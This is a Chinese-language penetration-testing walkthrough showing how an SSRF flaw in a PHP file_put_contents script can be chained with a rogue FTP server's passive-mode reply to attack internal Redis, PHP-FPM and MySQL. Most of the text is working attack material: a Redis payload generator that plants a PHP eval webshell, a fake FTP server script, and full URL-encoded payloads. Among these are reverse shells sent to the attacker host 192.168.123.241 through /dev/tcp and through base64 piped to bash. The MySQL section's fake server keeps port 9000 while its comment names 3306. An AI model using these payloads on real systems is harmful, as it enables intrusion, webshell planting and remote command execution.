實戰 | 利用SSRF滲透內網主機-下
FTP協議
FTP(File Transfer Protocol,文件傳輸協議) 是 TCP/IP 協議組中的協議之一。FTP 協議包括兩個組成部分,其一為 FTP 服務器,其二為 FTP 客戶端。其中 FTP 服務器用來存儲文件,用戶可以使用 FTP 客戶端通過 FTP 協議訪問位于 FTP 服務器上的資源。在開發網站的時候,通常利用 FTP 協議把網頁或程序傳到 Web 服務器上。此外,由于 FTP 傳輸效率非常高,在網絡上傳輸大的文件時,一般也采用該協議。
默認情況下 FTP 協議使用 TCP 端口中的 20 和 21 這兩個端口,其中 20 用于傳輸數據,21 用于傳輸控制信息。但是,是否使用 20 作為傳輸數據的端口與 FTP 使用的傳輸模式有關,如果采用主動模式,那么數據傳輸端口就是 20;如果采用被動模式,則具體最終使用哪個端口要服務器端和客戶端協商決定。
主動模式與被動模式
FTP會話包含了兩個通道,控制通道和數據傳輸通道,FTP的工作有兩種模式,一種是主動模式,一種是被動模式,以FTP Server為參照:主動模式,服務器主動連接客戶端傳輸;被動模式,等待客戶端的連接。
主動模式(Port)
FTP客戶端連接到FTP服務器的21號端口,發送用戶名和密碼,客戶端隨機開放一個高位端口(1024以上),發送PORT命令到FTP服務器,告知服務器客戶端采用主動模式并開放端口,FTP服務器收到PORT主動模式命令和端口后,通過服務器的20號端口和客戶端開放的端口連接,發送數據,原理如圖所示。

Untitled Diagram.drawio
被動模式(Passive)
FTP客戶端連接到FTP服務器所監聽的21端口,發送用戶名和密碼,發送PASV命令到FTP服務器,服務器載本地隨機開放一個端口(1024以上),然后把開放的端口告知客戶端,而后客戶端再連接到服務器開放的端口進行數據傳輸,原理如圖所示。(注:PASV是Passive的縮寫,被動模式)

Untitled Diagram.drawio (2)
這里的主動和被動是相對與FTP Server端而判斷的。
無論是主動還是被動模式,首先的控制通道都是先建立起來,只是在數據傳輸模式上的區別。
注:絕大部分互聯網應用都是被動模式
因為大部分客戶端都是在路由器后面,沒有獨立的公網IP地址,服務器想要主動連接客戶端,難度太大,在現在真實的互聯網環境里面幾乎是不可能完成的任務。
可見,在被動方式中,FTP 客戶端和服務端的數據傳輸端口是由服務端指定的,而且還有一點是很多地方沒有提到的,實際上除了端口,服務器的地址也是可以被指定的。由于 FTP 和 HTTP 類似,協議內容全是純文本,所以我們可以很清晰的看到它是如何指定地址和端口的:
227 Entering Passive Mode(192,168,9,2,4,8)
227 和 Entering Passive Mode 類似 HTTP 的狀態碼和狀態短語,而 (192,168,9,2,4,8) 代表讓客戶端到連接 192.168.9.2 的 4 * 256 + 8 = 1032 端口。
這樣,假如我們指定 (127,0,0,1,0,9000) ,那么便可以將地址和端口指到 127.0.0.1:9000,也就是本地的 9000 端口。同時由于 FTP 的特性,其會把傳輸的數據原封不動的發給本地的 9000 端口,不會有任何的多余內容。如果我們將傳輸的數據換為特定的 Payload 數據,那我們便可以攻擊內網特定端口上的應用了。在這整個過程中,FTP 只起到了一個重定向 Payload 的內容。
實驗環境
攻擊機:Kali —— 192.168.123.241
受害者:Ubuntu —— 192.168.123.189(運行服務“Redis、MySQL、PHP-FPM)
下面是一個含有漏洞的PHP腳本
file_put_contents($_GET['file'], $_GET['data']); ?>
file_put_contents () 函數把一個字符串寫入文件中。與依次調用 fopen(),fwrite() 以及 fclose() 功能一樣。
file_put_contents函數使用前需要將php.ini的allow_url_fopen設置為ON。
這個點是存在WebShell寫入漏洞的,但是在不能寫文件的環境下該如何利用呢?那么可以利用SSRF進行攻擊。
但 file_get_contents 和 file_put_contents 不支持gopher和dict協議。
那么我們如何才能實現 RCE 呢?那么這個時候我們便可以從 FTP 的被動模式入手,通過 SSRF 攻擊內網應用。
SSRF利用FTP協議攻擊Redis
假設內網中存在 Redis 并且可以未授權訪問的話,我們也可以直接攻擊 Redis,實現寫入 Webshell、SSH 秘鑰、計劃任務等。
首先編寫腳本生成攻擊 Redis 的 Payload(也可以使用Gopherus)生成:
#!/usr/bin/env python
# coding: utf-8
import urllib
protocol="gopher://"
ip="127.0.0.1"
port="6379"
shell="" # 一句話木馬
filename="shell.php"
path="/var/www/html"
passwd="" # 此處也可以填入Redis的密碼, 在不存在Redis未授權的情況下適用
cmd=["flushall",
"set 1 {}".format(shell.replace(" ","${IFS}")),
"config set dir {}".format(path),
"config set dbfilename {}".format(filename),
"save"
]
if passwd:
cmd.insert(0,"AUTH {}".format(passwd))
payload=protocol+ip+":"+port+"/_"
def redis_format(arr):
CRLF="\r"
redis_arr = arr.split(" ")
cmd=""
cmd+="*"+str(len(redis_arr))
for x in redis_arr:
cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
cmd+=CRLF
return cmd
if __name__=="__main__":
for x in cmd:
payload += urllib.quote(redis_format(x))
print payload
得到payload只選取_的部分
%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2435%0D%0A%0A%0A%3C%3Fphp%20eval%28%24_POST%5B%22whoami%22%5D%29%3B%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A
然后還是在攻擊機上運行 evil_ftp.py 啟動一個偽 FTP 服務:
# -*- coding: utf-8 -*-
# evil_ftp.py
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(('0.0.0.0', 23)) # ftp服務綁定23號端口
s.listen(1)
conn, addr = s.accept()
conn.send(b'220 welcome')
#Service ready for new user.
#Client send anonymous username
#USER anonymous
conn.send(b'331 Please specify the password.')
#User name okay, need password.
#Client send anonymous password.
#PASS anonymous
conn.send(b'230 Login successful.')
#User logged in, proceed. Logged out if appropriate.
#TYPE I
conn.send(b'200 Switching to Binary mode.')
#Size /
conn.send(b'550 Could not get the file size.')
#EPSV (1)
conn.send(b'150 ok')
#PASV
conn.send(b'227 Entering Extended Passive Mode (127,0,0,1,0,6379)') #STOR / (2)
# "127,0,0,1"Redis服務為受害者本地,"6379"為為Redis服務的端口號
conn.send(b'150 Permission denied.')
#QUIT
conn.send(b'221 Goodbye.')
conn.close()
運行服務:

image-20211204164553969
最后直接構造請求發送 Payload(無需進行二次URL編碼):
http://hacktop.com/ssrf_2.php?file=ftp://192.168.123.241:23/123&data=%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2435%0D%0A%0A%0A%3C%3Fphp%20eval%28%24_POST%5B%22whoami%22%5D%29%3B%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A
如下圖所示,成功寫入 Webshell:

image-20211204164815249
SSRF利用FTP協議攻擊PHP-FPM
假設此時發現內網中存在 PHP-FPM,那我們可以通過 FTP 的被動模式攻擊內網的 PHP-FPM。
首先使用 Gopherus 生成 Payload:

image-20211204175150701
得到的 Payload 只要 _ 后面的部分:
%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%0D%05%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%03CONTENT_LENGTH107%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%1FSCRIPT_FILENAME/usr/share/nginx/html/index.php%0D%01DOCUMENT_ROOT/%00%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%00k%04%00%3C%3Fphp%20system%28%27bash%20-c%20%22bash%20-i%20%3E%26%20/dev/tcp/192.168.123.241/2333%200%3E%261%22%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00
然后還是在攻擊機上運行 evil_ftp.py 啟動一個偽 FTP 服務:
# -*- coding: utf-8 -*-
# evil_ftp.py
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(('0.0.0.0', 23)) # ftp服務綁定23號端口
s.listen(1)
conn, addr = s.accept()
conn.send(b'220 welcome')
#Service ready for new user.
#Client send anonymous username
#USER anonymous
conn.send(b'331 Please specify the password.')
#User name okay, need password.
#Client send anonymous password.
#PASS anonymous
conn.send(b'230 Login successful.')
#User logged in, proceed. Logged out if appropriate.
#TYPE I
conn.send(b'200 Switching to Binary mode.')
#Size /
conn.send(b'550 Could not get the file size.')
#EPSV (1)
conn.send(b'150 ok')
#PASV
conn.send(b'227 Entering Extended Passive Mode (127,0,0,1,0,9000)') #STOR / (2)
# "127,0,0,1"PHP-FPM服務為受害者本地,"9000"為為PHP-FPM服務的端口號
conn.send(b'150 Permission denied.')
#QUIT
conn.send(b'221 Goodbye.')
conn.close()
運行服務:

image-20211204164553969
開啟 nc 監聽,等待反彈shell:

image-20211204173444676
最后構造請求發送 Payload 就行了:
http://hacktop.com/ssrf_2.php?file=ftp://192.168.123.241:23/123&data=%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%0D%05%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%03CONTENT_LENGTH107%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%1FSCRIPT_FILENAME/usr/share/nginx/html/index.php%0D%01DOCUMENT_ROOT/%00%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%00k%04%00%3C%3Fphp%20system%28%27bash%20-c%20%22bash%20-i%20%3E%26%20/dev/tcp/192.168.123.241/2333%200%3E%261%22%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00

image-20211204175318423
如上圖所示,成功反彈 Shell。
SSRF利用FTP協議攻擊MySQL
有關如何利用MySQL未授權抓取數據包在上一節已經詳細講解過了,這里就不再講解。
這里就直接使用上一節已經寫入的動態鏈接庫和用戶定義函數直接執行系統命令。
首先使用Gopherus生成payload:

image-20211204185104110
得到的 Payload 只要 _ 后面的部分:
%a4%00%00%01%85%a6%ff%01%00%00%00%01%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%61%64%6d%69%6e%00%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%66%03%5f%6f%73%05%4c%69%6e%75%78%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%08%6c%69%62%6d%79%73%71%6c%04%5f%70%69%64%05%32%37%32%35%35%0f%5f%63%6c%69%65%6e%74%5f%76%65%72%73%69%6f%6e%06%35%2e%37%2e%32%32%09%5f%70%6c%61%74%66%6f%72%6d%06%78%38%36%5f%36%34%0c%70%72%6f%67%72%61%6d%5f%6e%61%6d%65%05%6d%79%73%71%6c%67%00%00%00%03%73%65%6c%65%63%74%20%73%79%73%5f%65%76%61%6c%28%27%65%63%68%6f%20%59%6d%46%7a%61%43%41%74%61%53%41%2b%4a%69%41%76%5a%47%56%32%4c%33%52%6a%63%43%38%78%4f%54%49%75%4d%54%59%34%4c%6a%45%79%4d%79%34%79%4e%44%45%76%4e%44%51%30%4e%43%41%77%50%69%59%78%7c%62%61%73%65%36%34%20%2d%64%7c%62%61%73%68%20%2d%69%27%29%01%00%00%00%01
然后還是在攻擊機上運行 evil_ftp.py 啟動一個偽 FTP 服務:
# -*- coding: utf-8 -*-
# evil_ftp.py
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(('0.0.0.0', 23)) # ftp服務綁定23號端口
s.listen(1)
conn, addr = s.accept()
conn.send(b'220 welcome')
#Service ready for new user.
#Client send anonymous username
#USER anonymous
conn.send(b'331 Please specify the password.')
#User name okay, need password.
#Client send anonymous password.
#PASS anonymous
conn.send(b'230 Login successful.')
#User logged in, proceed. Logged out if appropriate.
#TYPE I
conn.send(b'200 Switching to Binary mode.')
#Size /
conn.send(b'550 Could not get the file size.')
#EPSV (1)
conn.send(b'150 ok')
#PASV
conn.send(b'227 Entering Extended Passive Mode (127,0,0,1,0,9000)') #STOR / (2)
# "127,0,0,1"MySQL服務為受害者本地,"3306"為為MySQL服務的端口號
conn.send(b'150 Permission denied.')
#QUIT
conn.send(b'221 Goodbye.')
conn.close()
運行服務:

image-20211204164553969
開啟 nc 監聽,等待反彈shell:

image-20211204185151930
最后構造請求發送 Payload 就行了:
http://hacktop.com/ssrf_2.php?file=ftp://192.168.123.241:23/123&data=%a4%00%00%01%85%a6%ff%01%00%00%00%01%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%61%64%6d%69%6e%00%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%66%03%5f%6f%73%05%4c%69%6e%75%78%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%08%6c%69%62%6d%79%73%71%6c%04%5f%70%69%64%05%32%37%32%35%35%0f%5f%63%6c%69%65%6e%74%5f%76%65%72%73%69%6f%6e%06%35%2e%37%2e%32%32%09%5f%70%6c%61%74%66%6f%72%6d%06%78%38%36%5f%36%34%0c%70%72%6f%67%72%61%6d%5f%6e%61%6d%65%05%6d%79%73%71%6c%67%00%00%00%03%73%65%6c%65%63%74%20%73%79%73%5f%65%76%61%6c%28%27%65%63%68%6f%20%59%6d%46%7a%61%43%41%74%61%53%41%2b%4a%69%41%76%5a%47%56%32%4c%33%52%6a%63%43%38%78%4f%54%49%75%4d%54%59%34%4c%6a%45%79%4d%79%34%79%4e%44%45%76%4e%44%51%30%4e%43%41%77%50%69%59%78%7c%62%61%73%65%36%34%20%2d%64%7c%62%61%73%68%20%2d%69%27%29%01%00%00%00%01

image-20211204185301024